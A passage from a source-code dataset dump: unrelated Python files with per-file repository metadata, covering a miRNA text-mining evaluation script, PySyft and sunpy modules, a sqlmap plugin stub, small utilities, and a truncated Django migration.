('24155920','miR-21','SPRY1','MIR_GENE'), ('24155920','miR-29a','MCL1','MIR_GENE'), ('24155920','miR-29b','MCL1','MIR_GENE'), #('24219008','miR-21-5p','TGFBR3','MIR_GENE'), ('24219008','miR-21','TGFBR3','MIR_GENE'), #add ('24219008','hsa-miR-21','TGFBR3','MIR_GENE'), #add #('24219008','miR-21-5p','PDGFD','MIR_GENE'), ('24219008','miR-21','PDGFD','MIR_GENE'), ('24219008','hsa-miR-21','PDGFD','MIR_GENE'), #add #('24219008','miR-21-5p','PPM1L','MIR_GENE'), ('24219008','miR-21','PPM1L','MIR_GENE'), ('24219008','hsa-miR-21','PPM1L','MIR_GENE'), #add #('24219008','miR-181a-5p','ROPN1L','MIR_GENE'), ('24219008','miR-181a','ROPN1L','MIR_GENE'), ('24219008','hsa-miR-181a','ROPN1L','MIR_GENE'), #('24219008','miR-181a-5p','SLC37A3','MIR_GENE'), ('24219008','hsa-miR-181a','SLC37A3','MIR_GENE'), ('24219008','miR-181a','SLC37A3','MIR_GENE'), #('24219008','miR-24-2-5p','MYC','MIR_GENE'), ('24219008','hsa-miR-24-2','MYC','MIR_GENE'), ('24219008','hsa-miR-24','MYC','MIR_GENE'), ('24219008','miR-24-2','MYC','MIR_GENE'), ('24219008','miR-24','MYC','MIR_GENE'), #('24219008','miR-24-2-5p','KCNJ2','MIR_GENE'), ('24219008','hsa-miR-24-2','KCNJ2','MIR_GENE'), ('24219008','hsa-miR-24','KCNJ2','MIR_GENE'), ('24219008','miR-24','KCNJ2','MIR_GENE'), ('24219008','miR-24-2','KCNJ2','MIR_GENE'), ('24219349','miR-203','BMI1','MIR_GENE'), ('24220339','miR-490','FOS','MIR_GENE'), ('24223656','miR-31','RASA1','MIR_GENE'), ('24314216','miR-106','TP53','MIR_GENE'), ('24319262','miR-34a','TP53','GENE_MIR'), ('24319262','miR-145','TP53','GENE_MIR'), ('24319262','miR-155','MAF','MIR_GENE'), ('24319262','miR-34a','TWIST2','MIR_GENE'), ('24319262','miR-34a','MAF','MIR_GENE'), ('24319262','miR-145','TWIST2','MIR_GENE'), ('24319262','miR-145','MAF','MIR_GENE'), ('24330780','miR-124','FLOT1','MIR_GENE'), ('24330780','miR-124','FLOT1','MIR_GENE'), ('24376808','miR-146a','CRK','MIR_GENE'), ('24376808','miR-424','CRK','MIR_GENE'), ('24376808','miR-146a','EGFR','MIR_GENE'), ('24376808','miR-424','EGFR','MIR_GENE'), ('24376808','miR-146a','MAPK14','MIR_GENE'), #p38 / ERK ('24376808','miR-424','MAPK14','MIR_GENE'), ('24376808','miR-146a','AIMP2','MIR_GENE'),#p38 / ERK ('24376808','miR-424','AIMP2','MIR_GENE'), ('24376808','miR-146a','AHSA1','MIR_GENE'),#p38 / ERK ('24376808','miR-424','AHSA1','MIR_GENE'), ] refDict = defaultdict(set) for x in referenceSolution: refDict[x[0]].add((x[1], x[2], x[3])) tmRemoveTMErrors = { ('19956414','miR-29b','MMRN1'), # ECM, extracellular matrix ('21415212','miR-486','GC'), #gastric cancer ('21415212','miR-486','HTC2'), #Array-CGH ('21415212','miR-486','EAF2'), #TRAITS ('21415212','miR-486','NF2'), #SCH cell line ('21703983', 'miR-632', 'PAFAH1B1'), # Notably, hsa-miR-378, hsa-miR-632, and hsa-miR-636 demonstrated particularly high discrimination between MDS and normal controls. MDS here is myelodysplastic syndromes ('21703983', 'hsa-miR-378', 'PAFAH1B1'), ('21703983', 'miR-378', 'PAFAH1B1'), ('21703983', 'hsa-miR-632', 'PAFAH1B1'), ('21703983', 'hsa-miR-636', 'PAFAH1B1'), ('21703983', 'miR-636', 'PAFAH1B1'), ('22066022', 'miR-21', 'FAM126A'), # HCC refers to hepatocellular carcinoma ('22066022', 'miR-21', 'ST14'), # HAI refers to histological activity index (HAI) ('22066022', 'miR-21', 'SPINT1'), # HAI refers to histological activity index (HAI) ('23643257','miR-424','FGR'), # recognizes FGR ('23643257','miR-424','FGFR1'), ('23643257','miR-424','KAL2'), ('23643257','miR-424','FLT2'), ('24330780','miR-124','TENM1'), #tumor node metastasis (TNM) ('24330780','miR-124','TNM'), ('24223656', 'miR-31', "TPT1"), # RAS p21 GTPase activating protein 1 (RASA1) => p21 ('24223656', 'miR-31', "CDKN1A"), ('24223656', 'miR-31', "H3F3AP6"), ('24223656', 'miR-31', "TCEAL1"), ('24223656', 'miR-31', "NSG1"), ('21609717','miR-98','MT-CO2'), # accepts COX-2 ('21609717','miR-98','COX8A'), ('21609717','miR-98','CPOX'), ('21609717','miR-98','MT-CO2'), ('23527070', 'miR-21', 'SMAD5'), # SMAD2/5 ('23190608','miR-29b','SUPT20H'), # SUPT20H has transcription-factor as syn ('23190608','miR-29b','SUPT20H'), ('18185580','miR-335', 'SUPT20H'), ('23113351','miR-29','RB1'), # RB1 syn: osteosarcoma ('23113351','miR-29a','RB1'), # RB1 syn: osteosarcoma ('23113351','miR-29b','RB1'), # RB1 syn: osteosarcoma ('22982443','miR-200c','CDH17'), # CDH17 syn for cadherin, found in E-cadherin ... ('20603081','miR-150','GLI2'), # THP-1 refers to cells ('22139444', 'miR-30c', 'NDC80'), # refers to HEC-1-B cells ... ('23041385', 'miR-21', 'CO'), # centenarian offspring (CO) ('23041385', 'miR-21', 'CALCR'), # CTR control ('19723773','miR-290','MEF'),#mouse embryo fibroblasts (MEF) ('19723773','miR-290','MEFV'),#mouse embryo fibroblasts (MEF) ('19723773','miR-290','ELF4'),#mouse embryo fibroblasts (MEF) ('19547998', 'miR-21', 'CALR'), # SSA ('19547998', 'miR-181b', 'CALR'), ('19547998', 'miR-21', 'HP'), # hyperplastic polyps ('19547998', 'miR-181b', 'HP'), ('20103675', 'miR-222', 'FAM126A'), # HCC cell lines ('24219349','miR-203','SP'), # side population ('24219349','miR-203','TFF2'), # SP ('21088996','miR-21','BLOC1S6'), # PDAC cells (MIA-Pa-Ca-2) ('21088996','miR-21','MIA'), # PDAC cells (MIA-Pa-Ca-2) ('21088996','miR-21','CAR2'), # PDAC cells (MIA-Pa-Ca-2) ('22847613','miR-130b','SLC22A3'), # epithelial-mesenchymal transition (EMT) ('22847613','miR-130b','ITK'), # epithelial-mesenchymal transition (EMT) ('22925189', 'miR-370', 'II'), #stage II <=> gene symbol ('22925189', 'miR-370', 'IV'), #stage IV <=> gene symbol ('22925189', 'miR-30a', 'II'), #stage II <=> gene symbol ('22925189', 'miR-30a', 'IV'), #stage IV <=> gene symbol ('23592910', 'miR-146a', 'IFNA1'), # TM mismatch with interferon in interfon gamma ('23592910', 'miR-146b', 'IFNA1'), ('24006456','miR-29b','INS'), # spurious hit with insulin-like growth factor ('24006456','miR-30c','INS'), # insulin-like ('20945501', 'miR-141', 'PC'), # matches PC / prostate cancer ('20945501', 'miR-141', 'PODXL'), # matches CRPC (castration-resitant prostate cancer) } # gene-mir: 36 F1: 0.88 *0.135 = 0,1188 # mir-gene: 230 F1: 0.94 *0.865 = 0,8131 # all: F1: 0.9319 sent2rels = defaultdict(set) allSents = sentDB.get_all_sentences() doc2Rels = defaultdict(set) for mirID in mmuDB.ltype2rel: for rel in mmuDB.ltype2rel[mirID]: jel = rel.toJSON() sent2rels[rel.assocSent].add( (rel.lid, rel.rid, rel.assocInt, rel.assocCat, rel.lPOS, rel.rPOS) ) docID = rel.assocSent.split(".")[0] doc2Rels[docID].add((rel.lid, rel.rid, rel.assocInt) ) for mirID in hsaDB.ltype2rel: for rel in hsaDB.ltype2rel[mirID]: jel = rel.toJSON() sent2rels[rel.assocSent].add( (rel.lid, rel.rid, rel.assocInt, rel.assocCat, rel.lPOS, rel.rPOS) ) #print(rel.assocSent, rel.lid, rel.rid, rel.assocInt, rel.assocCat, relSent) docID = rel.assocSent.split(".")[0] doc2Rels[docID].add((rel.lid, rel.rid, rel.assocInt) ) from collections import Counter #TM, REF elemCaseCounter = Counter() with open("test_list.bydoc.tsv", "w") as fout: print("doc", "lid", "rid", "assocInt", sep="\t", file=fout) allDocIDs = set([x.split(".")[0] for x in allSents]) for docID in natsorted(doc2Rels): for elems in doc2Rels[docID]: print(docID, *elems, sep="\t", file=fout) refOnly = refDict[docID].difference(doc2Rels[docID]) tmOnly = doc2Rels[docID].difference(refDict[docID]) tmOnly = [x for x in tmOnly if not (docID, x[0], x[1]) in tmRemoveTMErrors] correct = refDict[docID].intersection(doc2Rels[docID]) for x in correct: elemCaseCounter[(True, True)] += 1 for x in refOnly: elemCaseCounter[(False, True)] += 1 for x in tmOnly: elemCaseCounter[(True, False)] += 1 if len(doc2Rels[docID]) == 0 and len(refDict[docID]): continue if len(refOnly) == 0 and len(tmOnly) == 0: continue print(docID, len(correct), "REFONLY", refOnly) print(docID, len(correct), "TMONLY", tmOnly) print() precision = elemCaseCounter[(True, True)] / (elemCaseCounter[(True, True)]+elemCaseCounter[(True, False)]) recall = elemCaseCounter[(True, True)] / (elemCaseCounter[(True, True)]+elemCaseCounter[(False, True)]) f1 = 2* precision * recall / (precision+recall) #specificity = elemCaseCounter[(False, False)] / (elemCaseCounter[(True, False)] + elemCaseCounter[(False, False)]) print() print() print("True, True", elemCaseCounter[(True, True)]) print("TM Only", elemCaseCounter[(True, False)]) print("Ref Only", elemCaseCounter[(False, True)]) print() print("precision", precision) print("recall", recall) #print("specificity", specificity) print("f1", f1) with open("test_list.tsv", "w") as fout: print("lid", "rid", "assocInt", "assocCat", "lpos", "rpos", "int_eval", "cat_eval", "sentID", "sent", sep="\t", file=fout) for sentID in natsorted([x for x in allSents]): sent = allSents[sentID] allElems = sent2rels.get(sentID, None) if allElems == None: allElems = [ ("", "", "", "", "", "") ] for lid, rid, assocInt, assocCat, lpos, rpos in allElems: print(lid, rid, assocInt, assocCat, lpos, rpos, "FALSE", "FALSE", sentID, sent, sep="\t", file=fout)

40.963057

327

0.645572

4,524

32,156

4.490937

0.210212

0.124723

0.011813

0.015947

0.478663

0.22838

0.173155

0.121819

0.10282

0.078456

0

0.209179

0.091336

32,156

784

328

41.015306

0.486156

0.251586

0

0.058288

0

0.542566

0.005449

0

1

0

false

0

0.01275

0

0.01275

0.029144

0

null

0

1

0

1

0

null

0

2

8a8f3bc0b8648f6599b0f3f876b158891ab5ef13

267

py

Python

huntserver/management/commands/runupdates.py

adenylyl/pi_day_puzzle_hunt

aa01cef427bc5f524e89558da72a2f79b0c78514

[ "MIT" ]

18

2017-03-07T19:53:03.000Z

2022-02-24T04:58:47.000Z

huntserver/management/commands/runupdates.py

adenylyl/pi_day_puzzle_hunt

aa01cef427bc5f524e89558da72a2f79b0c78514

[ "MIT" ]

161

2016-11-14T00:04:42.000Z

2021-06-10T17:25:17.000Z

huntserver/management/commands/runupdates.py

adenylyl/pi_day_puzzle_hunt

aa01cef427bc5f524e89558da72a2f79b0c78514

[ "MIT" ]

22

2016-09-27T18:00:10.000Z

2022-03-13T17:51:44.000Z

from django.core.management.base import BaseCommand from huntserver.utils import update_time_items class RunUpdates(BaseCommand): help = 'Runs all time related updates for the huntserver app' def handle(self, *args, **options): update_time_items()

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8a98d4ac7dc115c2d7e6592d4b52a67512d27207

4,185

py

Python

src/syft/__init__.py

aeroaks/PySyft

88220c38faf3cd72ddc63c73f3c0533695df53c9

[ "Apache-2.0" ]

null

src/syft/__init__.py

aeroaks/PySyft

88220c38faf3cd72ddc63c73f3c0533695df53c9

[ "Apache-2.0" ]

null

src/syft/__init__.py

aeroaks/PySyft

88220c38faf3cd72ddc63c73f3c0533695df53c9

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- """ Welcome to the syft package! This package is the primary package for PySyft. This package has two kinds of attributes: submodules and convenience functions. Submodules are configured in the standard way, but the convenience functions exist to allow for a convenient `import syft as sy` to then expose the most-used functionalities directly on syft. Note that this way of importing PySyft is the strict convention in this codebase. (Do no simply call `import syft` and then directly use `syft.<method>`.) The syft module is split into two distinct groups of functionality which we casually refer to as syft "core" and syft "python". "core" functionality is functionality which is designed to be universal across all Syft languages (javascript, kotlin, swift, etc.). Syft "python" includes all functionality which by its very nature cannot be truly polyglot. Syft "core" functionality includes the following modules: * :py:mod:`syft.core.node` - APIs for interacting with remote machines you do not directly control. * :py:mod:`syft.core.message` - APIs for serializing messages sent between Client and Node classes. * :py:mod:`syft.core.pointer` - Client side API for referring to objects on a Node * :py:mod:`syft.core.store` - Server side API for referring to object storage on a node (things pointers point to) Syft "python" functionality includes the following modules: * :py:mod:`syft.ast` - code generates external library common syntax tree using an allowlist list of methods * :py:mod:`syft.typecheck` - automatically checks and enforces Python type hints and the exclusive use of kwargs. * :py:mod:`syft.lib` - uses the ast library to dynamically create remote execution APIs for supported Python libs. IMPORTANT: syft.core should be very careful when importing functionality from outside of syft core!!! Since we plan to drop syft core down to a language (such as C++ or Rust) this can create future complications with lower level languages calling higher level ones. To begin your education in Syft, continue to the :py:mod:`syft.core.node.vm.vm` module... """ # stdlib from pathlib import Path import sys # third party from pkg_resources import DistributionNotFound # noqa: F401 from pkg_resources import get_distribution # noqa: F401 # syft absolute # ASTRACT OBJECT IMPORTS from syft.core import common # noqa: F401 from syft.core.common import event_loop # noqa: F401 # Convenience Methods from syft.core.common.serde.deserialize import _deserialize as deserialize # noqa: F401 from syft.core.common.serde.serialize import _serialize as serialize # noqa: F401 from syft.core.node.common.service.repr_service import ReprMessage # noqa: F401 from syft.core.node.device.device import Device # noqa: F401 from syft.core.node.device.device import DeviceClient # noqa: F401 from syft.core.node.domain.domain import Domain # noqa: F401 from syft.core.node.domain.domain import DomainClient # noqa: F401 from syft.core.node.network.network import Network # noqa: F401 from syft.core.node.network.network import NetworkClient # noqa: F401 # Convenience Constructors from syft.core.node.vm.vm import VirtualMachine # noqa: F401 from syft.core.node.vm.vm import VirtualMachineClient # noqa: F401 # Convenience Functions from syft.decorators import type_hints # noqa: F401 from syft.grid.duet import bcolors # noqa: F401 from syft.grid.duet import duet # noqa: F401 from syft.grid.duet import join_duet # noqa: F401 from syft.grid.duet import launch_duet # noqa: F401 # Convenience Objects from syft.lib import lib_ast # noqa: F401 from syft.lib import load_lib # noqa: F401 from syft.lib.torch.module import Module # noqa: F401 # syft relative # Package Imports from . import lib # noqa: F401 from . import logger # noqa: F401 # VERSIONING try: # Change here if project is renamed and does not equal the package name dist_name = __name__ __version__ = get_distribution(dist_name).version except DistributionNotFound: __version__ = "unknown" finally: del get_distribution, DistributionNotFound sys.path.append(str(Path(__file__))) logger.add(sink=sys.stderr, level="CRITICAL")

44.521277

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null

0

null

0

1

0

1

0

2

8a9f8e3b371f4a3d8597afaef08cf1cd3f5dcb90

910

py

Python

packages/sqlmap-master/plugins/dbms/frontbase/enumeration.py

ZooAtmosphereGroup/HelloPackages

0ccffd33bf927b13d28c8f715ed35004c33465d9

[ "Apache-2.0" ]

null

packages/sqlmap-master/plugins/dbms/frontbase/enumeration.py

ZooAtmosphereGroup/HelloPackages

0ccffd33bf927b13d28c8f715ed35004c33465d9

[ "Apache-2.0" ]

null

packages/sqlmap-master/plugins/dbms/frontbase/enumeration.py

ZooAtmosphereGroup/HelloPackages

0ccffd33bf927b13d28c8f715ed35004c33465d9

[ "Apache-2.0" ]

null

#!/usr/bin/env python """ Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on FrontBase it is not possible to get the banner" logger.warn(warnMsg) return None def getPrivileges(self, *args, **kwargs): warnMsg = "on FrontBase it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getHostname(self): warnMsg = "on FrontBase it is not possible to enumerate the hostname" logger.warn(warnMsg) def getStatements(self): warnMsg = "on FrontBase it is not possible to enumerate the SQL statements" logger.warn(warnMsg) return []

27.575758

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0.684615

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910

5.513274

0.513274

0.057785

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0.128411

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910

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null

0

null

0

1

0

1

0

2

8aac9198e1ca17cfd23654e404dcbbfca380cdae

1,377

py

Python

sunpy/map/sources/tests/test_euvi_source.py

PritishC/sunpy

76a7b5994566674d85eada7dcec54bf0f120269a

[ "BSD-2-Clause" ]

null

sunpy/map/sources/tests/test_euvi_source.py

PritishC/sunpy

76a7b5994566674d85eada7dcec54bf0f120269a

[ "BSD-2-Clause" ]

null

sunpy/map/sources/tests/test_euvi_source.py

PritishC/sunpy

76a7b5994566674d85eada7dcec54bf0f120269a

[ "BSD-2-Clause" ]

null

"""Test cases for STEREO Map subclasses. This particular test file pertains to EUVIMap. @Author: Pritish C. (VaticanCameos) """ import os import glob from sunpy.map.sources.stereo import EUVIMap from sunpy.map import Map from sunpy.sun import sun import sunpy.data.test path = sunpy.data.test.rootdir fitspath = glob.glob(os.path.join(path, "euvi_20090615_000900_n4euA_s.fts")) euvi = Map(fitspath) # EUVI Tests def test_fitstoEIT(): """Tests the creation of EUVIMap using FITS.""" assert isinstance(euvi, EUVIMap) def test_is_datasource_for(): """Test the is_datasource_for method of EUVIMap. Note that header data to be provided as an argument can be a MetaDict object.""" assert euvi.is_datasource_for(euvi.data, euvi.meta) def test_measurement(): """Tests the measurement property of the EUVIMap object.""" assert euvi.measurement.value == 171 def test_observatory(): """Tests the observatory property of the EUVIMap object.""" assert euvi.observatory == "STEREO A" def test_rsun_obs(): """Tests the rsun_obs property""" assert euvi.rsun_obs.value == euvi.meta['rsun'] def test_rsun_missing(): """Tests output if 'rsun' is missing""" euvi_no_rsun = Map(fitspath) euvi_no_rsun.meta['rsun'] = None assert euvi_no_rsun.rsun_obs.value == sun.solar_semidiameter_angular_size(euvi.date).to('arcsec').value

29.934783

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4.82266

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0.042901

0.045965

0.040858

0.073544

0

0.015517

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1,377

45

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null

0

null

0

1

0

1

0

2

8aaccd61826b3b9dd2b747e7dc1a8a8bd4442788

817

py

Python

runway/utils/_version.py

onicagroup/runway

d50cac0e4878ff0691943029aa4f5b85d426a3b0

[ "Apache-2.0" ]

134

2018-02-26T21:35:23.000Z

2022-03-03T00:30:27.000Z

runway/utils/_version.py

onicagroup/runway

d50cac0e4878ff0691943029aa4f5b85d426a3b0

[ "Apache-2.0" ]

937

2018-03-08T22:04:35.000Z

2022-03-30T12:21:47.000Z

runway/utils/_version.py

onicagroup/runway

d50cac0e4878ff0691943029aa4f5b85d426a3b0

[ "Apache-2.0" ]

70

2018-02-26T23:48:11.000Z

2022-03-02T18:44:30.000Z

"""Version utilities.""" from __future__ import annotations import packaging.version class Version(packaging.version.Version): """Customize packagining.version.Version.""" def __init__(self, version: str) -> None: """Instantiate class. Args: version: Version string. (e.g. 1.0.0, v1.0.0) """ self._original_text = version super().__init__(version) def __repr__(self) -> str: """Return repr.""" # this usage of super is required to reproduce the intended result in # any subclasses of this class # pylint: disable=super-with-arguments return f"<Version('{super(Version, self).__str__()}')>" def __str__(self) -> str: """Return the original version string.""" return self._original_text

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null

0

null

0

1

0

1

0

2

8aacf07f9aa6c4af097f81cc81a36e4e2404c67c

870

py

Python

graph.py

gibbss21/Cayley

121dc60e9ba70d81d446024bfe137c4a9043be9f

[ "MIT" ]

null

graph.py

gibbss21/Cayley

121dc60e9ba70d81d446024bfe137c4a9043be9f

[ "MIT" ]

null

graph.py

gibbss21/Cayley

121dc60e9ba70d81d446024bfe137c4a9043be9f

[ "MIT" ]

null

""" Authors: Justin Pusztay Filename: graph.py Project: Research for Irina Mazilu, Ph.D. This file contains the graph class. Allows users to build their own graph. """ __author__ = "\n".join(['Justin Pusztay (pusztayj20@mail.wlu.edu)']) __all__ = ['Graph'] from Cayley.abstractnetwork import * class Graph(AbstractNetwork): def __init__(self): """Creates the graph object.""" self.keys = list() AbstractNetwork.__init__(self) def __eq__(self,other): """Need to look at Lambert's.""" if self is other: return True if type(self) != type(other): return False def nodeNumber(self): """Returns the total number of nodes in the Lattice.""" return len(self.graph) def getType(self): """Quick fix for MonteCarlo.""" return "Graph"

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4.857143

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null

0

null

0

1

0

1

0

2

8aca5c7861d26f1d856b1e6a5d30cf4b942b150d

1,215

py

Python

ex23_4_Adv.py

royliu317/Code-of-Learn-Python-THW

b0cf29ca7961e06dff29ad8d969a3a2938ecbd21

[ "MIT" ]

null

ex23_4_Adv.py

royliu317/Code-of-Learn-Python-THW

b0cf29ca7961e06dff29ad8d969a3a2938ecbd21

[ "MIT" ]

null

ex23_4_Adv.py

royliu317/Code-of-Learn-Python-THW

b0cf29ca7961e06dff29ad8d969a3a2938ecbd21

[ "MIT" ]

null

print("copy content from auto created ex23_sample_05.txt to ex23_sample_06.txt using 1 line only") input('In powershell: echo "This is a unicode Test." > ex23_sample_05.txt ') in_file = open('c:\\users\\roy\\ex23_sample_05.txt', encoding = 'utf-16').read() out_file = open('c:\\users\\roy\\ex23_sample_06.txt', 'w', encoding = 'utf-16').write(in_file) print("DONE!\n") #------------------------------------------------------------------- print("-------------------------------------------------------------") print("copy content from languages.txt within ex23 to languages2.txt using 1 line only") in_file = open('c:\\users\\roy\\languages.txt', encoding = 'utf-8').read() # When set encoding = utf-16 --> UnicodeDecodeError: 'utf-16-le' codec can't decode bytes in position 812-813: illegal UTF-16 surrogate # When set encoding = utf-16, errors = 'ignore' --> UnicodeError: UTF-16 stream does not start with BOM out_file = open('c:\\users\\roy\\languages2.txt', 'w', encoding = 'utf-8').write(in_file) # Before add encoding = utf-8 -->UnicodeEncodeError: 'gbk' codec can't encode character '\u0a73' in position 4: illegal multibyte sequence print("DONE!\n") # bytes can only contain ASCII literal characters.

57.857143

138

0.642798

176

1,215

4.346591

0.454545

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0.047059

0.073203

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0.128105

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0.049029

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21

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null

0

1

0

null

0

1

0

2

8acca2171f92073439bfaa4f9dd1220f87a67e36

478

py

Python

app.py

ctlcltd/enigma2-channel-editor

04add0519751dcda854b0cba89552cc31f6c0713

[ "MIT" ]

null

app.py

ctlcltd/enigma2-channel-editor

04add0519751dcda854b0cba89552cc31f6c0713

[ "MIT" ]

null

app.py

ctlcltd/enigma2-channel-editor

04add0519751dcda854b0cba89552cc31f6c0713

[ "MIT" ]

null

#!/usr/bin/env python3 # app.py # # @link https://github.com/ctlcltd/e2-sat-editor-qb # @copyright e2 SAT Editor Team # @author Leonardo Laureti # @version 0.1 # @license MIT License # import sys from config import * from commons import debug def main(): debug('main()') if GUI_INTERFACE == 'tk': from gui_tk import gui elif GUI_INTERFACE == 'qt6': from gui_qt6 import gui if gui: gui() else: debug('sys exit') if __name__ == '__main__': main()

14.058824

52

0.658996

71

478

4.267606

0.591549

0.033003

0.072607

0

0.01847

0.207113

478

33

53

14.484848

0.781003

0.366109

0

0.092466

0

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0.066667

true

0

0.333333

0

0.4

0

null

0

null

0

1

0

1

0

2

76d561ce14f12b85a9a97f20b040313b9f2366d4

130

py

Python

fdf/__init__.py

Ledenel/fdf

df4d74a455046c35d7957e98155957b787c699d2

[ "MIT" ]

1

2020-07-02T16:42:33.000Z

fdf/__init__.py

Ledenel/fdf

df4d74a455046c35d7957e98155957b787c699d2

[ "MIT" ]

138

2020-07-16T05:03:37.000Z

2022-03-28T23:26:50.000Z

fdf/__init__.py

Ledenel/fdf

df4d74a455046c35d7957e98155957b787c699d2

[ "MIT" ]

null

"""Top-level package for fdf.""" __author__ = """Ledenel Intelli""" __email__ = 'ledenelintelli@gmail.com' __version__ = '0.1.9'

21.666667

38

0.692308

16

130

4.875

1

0

0.026087

0.115385

130

5

39

26

0.652174

0.2

0

0.44898

0.244898

0

1

0

false

0

1

0

null

0

1

0

null

0

2

76dc6702762a919aace831ff2e0c72b209fd4fe4

324

py

Python

__init__.py

Noobiwankenobi/whyplessey-skill

36d96567dcc5dbba7ceb7c257163300f7c7cfc72

[ "MIT" ]

null

__init__.py

Noobiwankenobi/whyplessey-skill

36d96567dcc5dbba7ceb7c257163300f7c7cfc72

[ "MIT" ]

null

__init__.py

Noobiwankenobi/whyplessey-skill

36d96567dcc5dbba7ceb7c257163300f7c7cfc72

[ "MIT" ]

null

from mycroft import MycroftSkill, intent_file_handler class Whyplessey(MycroftSkill): def __init__(self): MycroftSkill.__init__(self) @intent_file_handler('whyplessey.intent') def handle_whyplessey(self, message): self.speak_dialog('whyplessey') def create_skill(): return Whyplessey()

20.25

53

0.731481

35

324

6.342857

0.542857

0.09009

0.153153

0

0.175926

324

15

54

21.6

0.831461

0

0.083591

0

1

0.333333

false

0

0.111111

0.666667

0

null

0

null

0

1

0

1

0

2

76e38e95db1dd82164581f6f1ccc9fa7fc3b5bb5

208

py

Python

tests/test_condition.py

richshaw2015/behavior3py

bbb1aaef7698b776fe3ba87914ccede3b0b0dd52

[ "MIT" ]

null

tests/test_condition.py

richshaw2015/behavior3py

bbb1aaef7698b776fe3ba87914ccede3b0b0dd52

[ "MIT" ]

null

tests/test_condition.py

richshaw2015/behavior3py

bbb1aaef7698b776fe3ba87914ccede3b0b0dd52

[ "MIT" ]

null

import b3 import unittest class TestCondition(unittest.TestCase): def test_category(self): self.assertEqual(b3.Condition.category, b3.CONDITION) if __name__ == '__main__': unittest.main()

17.333333

61

0.725962

24

208

5.916667

0.625

0.15493

0

0.017341

0.168269

208

11

62

18.909091

0.803468

0

0.038462

0

0.142857

1

0.142857

false

0

0.285714

0

0.571429

0

1

0

null

0

null

0

1

0

2

76ed3de9b853ebdfc0bd75e4d1e562d796b887bf

318

py

Python

mocks/figures/permissions.py

appsembler/tahoe-figures

dbf7dcff4f207f0e5651f9190576b55d2eb5c189

[ "MIT" ]

null

mocks/figures/permissions.py

appsembler/tahoe-figures

dbf7dcff4f207f0e5651f9190576b55d2eb5c189

[ "MIT" ]

2

2022-01-17T11:04:36.000Z

2022-01-19T12:58:11.000Z

mocks/figures/permissions.py

appsembler/tahoe-figures-plugins

dbf7dcff4f207f0e5651f9190576b55d2eb5c189

[ "MIT" ]

null

""" Mock for the figures.permissions model. """ def is_active_staff_or_superuser(request): """ Exact copy of Figures=0.4.x `figures.permissions.is_active_staff_or_superuser` helper. """ return request.user and request.user.is_active and ( request.user.is_staff or request.user.is_superuser)

24.461538

90

0.726415

46

318

4.782609

0.5

0.2

0.177273

0.136364

0.218182

0

0.007547

0.166667

318

12

91

26.5

0.822642

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0

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false

0

0.666667

0

null

0

null

0

1

0

1

0

2

76fe24ea8de3050267c2d299f69c85f862b65e29

11,479

py

Python

website_analytics/migrations/0001_initial.py

dipapaspyros/bdo_platform

336de07c6ed14290c54f2154117dbf90a187e4ea

[ "MIT" ]

2

2018-02-07T10:26:28.000Z

2018-09-21T09:12:58.000Z

website_analytics/migrations/0001_initial.py

dipapaspyros/bdo_platform

336de07c6ed14290c54f2154117dbf90a187e4ea

[ "MIT" ]

5

2018-09-21T10:40:44.000Z

2019-04-06T10:59:57.000Z

website_analytics/migrations/0001_initial.py

dipapaspyros/bdo_platform

336de07c6ed14290c54f2154117dbf90a187e4ea

[ "MIT" ]

3

2019-06-09T15:42:02.000Z

2022-02-14T19:50:33.000Z

# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2019-07-16 13:27 from __future__ import unicode_literals import datetime from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('visualizer', '0011_visualization_data_source'), migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('service_builder', '0024_auto_20190716_1627'), ('dashboard_builder', '0014_auto_20190716_1627'), ('aggregator', '0041_auto_20190716_1627'), ] operations = [ migrations.CreateModel( name='UniqueDashboardViewsView', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('dashboard_id', models.IntegerField(default=1)), ('count', models.IntegerField(default=1)), ], options={ 'db_table': 'unique_dashboard_views_view', 'managed': False, }, ), migrations.CreateModel( name='UniqueDatasetPreview', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('dataset_id', models.IntegerField(default=1)), ('count', models.IntegerField(default=1)), ], options={ 'db_table': 'unique_dataset_preview', 'managed': False, }, ), migrations.CreateModel( name='UniqueServiceUsesView', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('service_id', models.IntegerField(default=1)), ('count', models.IntegerField(default=1)), ], options={ 'db_table': 'unique_service_uses_view', 'managed': False, }, ), migrations.CreateModel( name='BDO_Plan', fields=[ ('plan_name', models.TextField(primary_key=True, serialize=False)), ('plan_title', models.TextField(default='Untitled Plan')), ('query_limit', models.IntegerField(default=120, null=True)), ('price', models.FloatField(default=0, null=True)), ('access_to_beta_services', models.BooleanField(default=True)), ], ), migrations.CreateModel( name='DashboardDisplays', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('dash_display_count', models.IntegerField(default=1)), ('dashboard', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dashboard_displays_dashboard', to='dashboard_builder.Dashboard')), ], ), migrations.CreateModel( name='DashboardUniqueViews', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('dash_display_count', models.IntegerField(default=1)), ('dashboard', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dashboard_unique_views_dashboard', to='dashboard_builder.Dashboard')), ('dashboard_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dashboard_unique_views_user', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='DatasetCombined', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('combination_count', models.IntegerField(default=1)), ('dataset', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dataset_combined_dataset', to='aggregator.Dataset')), ], ), migrations.CreateModel( name='DatasetExplored', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('exploration_count', models.IntegerField(default=1)), 